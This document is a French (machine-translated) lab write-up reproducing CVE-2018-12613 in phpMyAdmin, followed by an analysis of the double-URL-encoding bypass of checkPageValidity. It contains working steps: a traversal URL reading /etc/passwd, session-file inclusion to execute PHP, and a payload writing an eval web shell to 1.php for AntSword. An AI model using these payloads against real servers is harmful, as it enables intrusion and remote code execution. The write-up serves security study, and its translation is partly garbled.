CVE-2018-12613
Introduction:
phpMyAdmin est un ensemble d'outils de gestion de base de données MySQL open source basés sur le Web. Il y a un fichier contenant la logique dans son index.php, et la vérification peut être contournée via un codage secondaire, provoquant des vulnérabilités de confinement de fichiers à distance.
Configurez l'environnement:
Utilisez l'environnement docker + vulhub.
Processus de reproduction:
accéder:
index.php? target = db_sql.php% 253f /… /… /… /… /… /… /… /… / etc / passwd
Vous pouvez afficher les informations du fichier:
Indique que le fichier contient.
Exécuter en sql SELECT '<?=phpinfo()?>';;
/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_cookieValeur d' accès :
Obtenez des informations phpinfo:
Insérez une phrase Trojan:
sélectionnez «<? php file_put_contents ('/ var / www / html / 1.php', '<? php @eval ($ _ POST [pass]);?>')?>»
Visitez la page de la session:
Visitez 1.php dans le répertoire racine et utilisez Ant Sword pour vous connecter:
Analyse de vulnérabilité
Regardez d'abord index.php:
$target_blacklist = array (
'import.php', 'export.php'
);
// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target']) //传入不能为空
&& is_string($_REQUEST['target']) //必须是一个字符串
&& ! preg_match('/^index/', $_REQUEST['target']) //不能以index开头
//黑名单判断。在index.php中已经定义好了target_blacklist的值，只要不等于import.php和export.php这两个值就可以。
&& ! in_array($_REQUEST['target'], $target_blacklist) //不能在数组target_blacklist中
&& Core::checkPageValidity($_REQUEST['target']) //checkPageValidit检查后为真
) {
include $_REQUEST['target']; // 文件包含利用点
exit;
}
méthode checkPageValidity ():
//传入target，whitelist为默认形参，也就是空的数组。
public static function checkPageValidity(&$page, array $whitelist = [])
{
if (empty($whitelist)) {
// 白名单
//$whitelist在函数被调用的时候，没有值引用$goto_whitelist的内容
$whitelist = self::$goto_whitelist;
}
if (! isset($page) || !is_string($page)) {
//$page没有定义或$page不为字符串时 返回false
return false;
}
if (in_array($page, $whitelist)) {
// in_array():搜索数组中是否存在指定的值
//$page存在$whitelist中的value返回true
return true;
}
$_page = mb_substr( //mb_substr():返回字符串的一部分
$page,
0,
mb_strpos($page . '?', '?')
//返回从开始到问号之间的字符串
);
if (in_array($_page, $whitelist)) {
//$_page存在$whitelist中的value返回true
return true;
}
$_page = urldecode($page);//urldecode():解码已编码的URL
//经过urldecode函数解码后的$_page存在$whitelist中的某个值则返回true
$_page = mb_substr(//返回从开始到问号之间的字符串
$_page,
0,
mb_strpos($_page . '?', '?')
//mb_strpos():查找在字符串中第一次出现的位置（大小写敏感）
);
if (in_array($_page, $whitelist)) {
return true;
}
return false;
}
goto_whitelist:
public static $goto_whitelist = array(
'db_datadict.php',
'db_sql.php',
'db_events.php',
'db_export.php',
'db_importdocsql.php',
'db_multi_table_query.php',
'db_structure.php',
'db_import.php',
'db_operations.php',
'db_search.php',
'db_routines.php',
'export.php',
'import.php',
'index.php',
'pdf_pages.php',
'pdf_schema.php',
'server_binlog.php',
'server_collations.php',
'server_databases.php',
'server_engines.php',
'server_export.php',
'server_import.php',
'server_privileges.php',
'server_sql.php',
'server_status.php',
'server_status_advisor.php',
'server_status_monitor.php',
'server_status_queries.php',
'server_status_variables.php',
'server_variables.php',
'sql.php',
'tbl_addfield.php',
'tbl_change.php',
'tbl_create.php',
'tbl_import.php',
'tbl_indexes.php',
'tbl_sql.php',
'tbl_export.php',
'tbl_operations.php',
'tbl_structure.php',
'tbl_relation.php',
'tbl_replace.php',
'tbl_row_action.php',
'tbl_select.php',
'tbl_zoom_select.php',
'transformation_overview.php',
'transformation_wrapper.php',
'user_password.php',
);
Dans la méthode checkPageValidity (), déterminez d'abord si la page est dans la liste blanche, et retournez true si c'est le cas; la fonction mb_substr () retournera la valeur de $ page du début aux deux salutations (car la page peut avoir des paramètres) :
$_page = mb_substr( //mb_substr():返回字符串的一部分
$page,
0,
mb_strpos($page . '?', '?')
//返回从开始到问号之间的字符串
);
Commencez par renvoyer la valeur entre les deux, puis renvoyez la valeur précédente.
Ensuite, effectuez à nouveau un jugement de liste blanche, puis décodez l'URL, effectuez un retour d'interception et effectuez à nouveau un jugement de liste blanche.
?target=db_datadict.php%253fLorsque le serveur reçoit l'URL, il la décode une fois et le devient ?target=db_datadict.php%3f; quand il passe le code urld, il la décode une fois et elle devient ?target=db_datadict.php?dans la liste blanche qui correspond à la précédente.